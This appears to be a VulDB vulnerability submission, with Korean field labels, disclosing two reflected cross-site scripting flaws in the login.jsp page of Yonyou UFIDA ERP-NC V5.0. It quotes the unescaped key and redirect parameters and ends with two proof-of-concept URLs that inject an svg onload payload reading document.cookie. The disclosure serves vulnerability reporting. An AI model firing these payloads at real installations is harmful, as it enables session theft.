| 제목 | Yonyou UFIDA ERP-NC V5.0 Cross Site Scripting |
|---|
| 설명 | Summary
Yonyou UFIDA ERP-NC V5.0 contains two reflected Cross-Site Scripting (XSS) vulnerabilities in the login.jsp page. These vulnerabilities arise due to improper handling of user-supplied input in the key and redirect parameters. An attacker can exploit these vulnerabilities by crafting a malicious URL to inject arbitrary JavaScript code, which will be executed in the context of the victim's browser.
Image
Details
The vulnerabilities are located in the login.jsp page, where the key and redirect parameters are directly embedded into the HTML without proper sanitization or escaping. The affected code is as follows:
···
LOGINKEY='<%=request.getParameter("key")==null?"":request.getParameter("key")%>'
redirect='<%=request.getParameter("redirect")==null?"Y":request.getParameter("redirect")%>' />
···
<EMBED type="application/x-java-applet;version=1.5"
name="NCApplet" width="${sWidth}" height="${sHeight}"
pluginspage="http://java.sun.com/products/plugin/"
java_code="nc.ui.sm.login.AppletContainer.class"
java_archive="<%=clientJarPath%>"
java_arguments="-Xmx256m"
scriptable="true" MAYSCRIPT="true"
boxbgcolor="#ffffff" LOGINUITYPE="<%=LoginRequestInfo.getLoginUIType()%>"
SERVER_WORKINGDIR='<%=LoginRequestInfo.getWorkDir()%>'
ClientHome='<%=System.getProperty("nc.client.location")%>'
SCHEME="<%=request.getScheme()%>"
SERVER_HOST_NAME="<%=request.getServerName()%>"
SERVER_IP="<%=serverName%>"
SERVER_PORT="<%=port%>"
clienttype="<%=clientType%>"
CONTEXT_PATH="<%=request.getContextPath()%>"
USER_WIDTH="${sWidth}"
USER_HEIGHT="${sHeight}"
isClientCacheCode="${param.iecache}"
autoTest="${param.autotest}"
AT_SERVER_PORT='<%=System.getProperty("SERVER_PORT")%>'
ACCOUNT="<%=LoginRequestInfo.getAccoutInfo()%>"
SERVERTIME="<%=LoginRequestInfo.getServerTime()%>"
LOGINKEY='<%=request.getParameter("key")==null?"":request.getParameter("key")%>'
redirect='<%=request.getParameter("redirect")==null?"Y":request.getParameter("redirect")%>' />
···
In this code, the key and redirect parameters are retrieved from the user input and directly inserted into the HTML output. This allows an attacker to inject malicious JavaScript code by manipulating these parameters.
Proof of Concept (PoC)
http(s)://target-ip/login.jsp?key=hebing%27%3E%3Csvg%20onload=alert(document.cookie)%3E
http(s)://target-ip/login.jsp?redirect=hebing%27%3E%3Csvg%20onload=alert(document.cookie)%3E
|
|---|
| 원천 | ⚠️ https://github.com/Hebing123/cve/issues/84 |
|---|
| 사용자 | jiashenghe (UID 39445) |
|---|
| 제출 | 2025. 03. 10. AM 06:21 (1 년도 ago) |
|---|
| 모더레이션 | 2025. 03. 24. PM 12:29 (14 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 300730 [Yonyou UFIDA ERP-NC 5.0 /login.jsp key/redirect 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 20 |
|---|